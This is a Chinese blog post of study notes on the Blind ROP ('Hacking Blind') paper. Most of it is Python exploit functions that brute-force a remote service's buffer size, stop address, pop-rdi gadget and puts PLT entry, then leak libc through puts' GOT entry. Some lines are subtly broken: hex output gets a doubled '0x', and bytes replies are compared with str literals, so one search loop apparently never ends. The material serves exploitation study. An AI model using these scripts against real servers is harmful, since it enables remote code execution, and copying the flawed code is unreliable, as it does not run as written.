Hacking Blind 论文阅读

论文原文:http://www.scs.stanford.edu/brop/bittau-brop.pdf

摘要:

文章演示了一种在不获取源文件或二进制文件的情况下进行攻击,劫持程序执行流的方法

攻击条件

  1. 源程序必须存在漏洞(此处以栈溢出为例)
  2. 源程序崩溃后会重新启动,且内存布局不变(即使有ASLR保护,但其也只是在程序第一次启动时随机化内存布局,目前nginx,MySQL,Apache等服务器应用都是符合此特性的)

攻击思路

大部分的应用都会开启ASLR,NX,Canary保护,我们可以绕过这些保护。由于缺少源文件和二进制文件,我们缺少很多信息,因此我们需要不断通过爆破泄露以下信息:

  1. 缓冲区长度
  2. 程序的内存空间地址

其中我们需要的程序空间地址有:

  1. stop地址:因为其调用了puts函数,执行完后不会导致程序崩溃,维持了socket连接。
  2. gadgets地址:我们需要相应的gadgets来更改寄存器的值
  3. puts的plt地址:我们需要调用puts函数来泄露我们需要的值
  4. puts的got表:我们通过泄露puts的got表,获取puts函数在libc中的值,从而泄露libc地址

攻击流程

首先我们需要找到缓冲区长度:

def get_buf_size():
    for i in range(1,255):
        payload = b'a' * i
        try:
            io = get_io()
            io.send(payload)
            io.recv()
            io.close()
            log.info(f"bad_bufsize:{i}")
        except EOFError as e :
            io.close()
            log.info(f"buffer size:{i-1}")
            return i-1

然后我们需要找到stop地址:

def get_stop_addr():
    addr = 0x400000
    while True:
        addr += 1
        payload = b'a'*buffer_size + p64(addr)
        try:
            io = get_io()
            io.sendline(payload)
            io.recv()
            io.close()
            print(f"stop addr:0x{hex(addr)}")
            return addr
        except EOFError as e:
            io.close()
            log.info(f"bad addr:0x{hex(addr)}")
        except:
            print("Fail to connect")
            addr -= 1

然后需要找到gadget地址(pop rdi ;ret):


def get_gadgets_addr():
    addr = stop_addr
    while True:
        addr += 1
        payload = b'a'*buffer_size + p64(addr) + b"a"*8*6
        try:
            io = get_io()
            io.sendline(payload + p64(stop_addr))
            io.recv(timeout=1)
            io.close()
            print(f"find addr:0x{hex(addr)}")
            try:
                io = get_io()
                io.sendline(payload)
                io.recv(timeout=1)
                io.close()
                print(f"bad addr:0x{hex(addr)}")
            except:
                io.close()
                print(f"gadget addr: 0x{hex(addr)}")
                return addr
        except EOFError as e:
            io.close()
            print(f"useless addr: 0x{hex(addr)}")
        except KeyboardInterrupt as e:
            print("Interrupt!")
            return addr 
        except:
            print("Can't connect")
            addr -= 1

接下来时寻找puts的地址:

def get_puts_call_addr():
    addr = stop_addr+0x1000
    while True:
        addr += 1
        payload = b'a'*buffer_size + p64(gadget_addr + 9) #pop rdi ; ret
        payload += p64(0x400000) + p64(addr)
        payload += p64(stop_addr)
        try:
            io = get_io()
            io.sendline(payload)
            if io.recv().startswith("\x7fELF"):
                print(f"puts_call_addr : 0x{hex(addr)}")
                io.close()
                return addr
            print(f"bad addr:{hex(addr)}")
            io.close()
        except EOFError as e:
            io.close()
            print(f"bad addr:{hex(addr)}")
        except KeyboardInterrupt as e:
            io.close()
            print("Interrupt")
            return addr
        except:
            print("connection fail")
            addr -= 1
def get_puts_addr():
    payload = b'a'*buffer_size + p64(gadget_addr + 9)
    payload += p64(puts_got) + p64(puts_plt)
    payload += p64(stop_addr)

    io.sendline(payload)
    data = io.recvline()
    data = u64(data[:-1] + '\x00\x00')
    print(f"puts address: 0x{hex(data)}")
    return data

最后我们可以通过puts的地址确定libc地址,从而构造一条ROP链进行攻击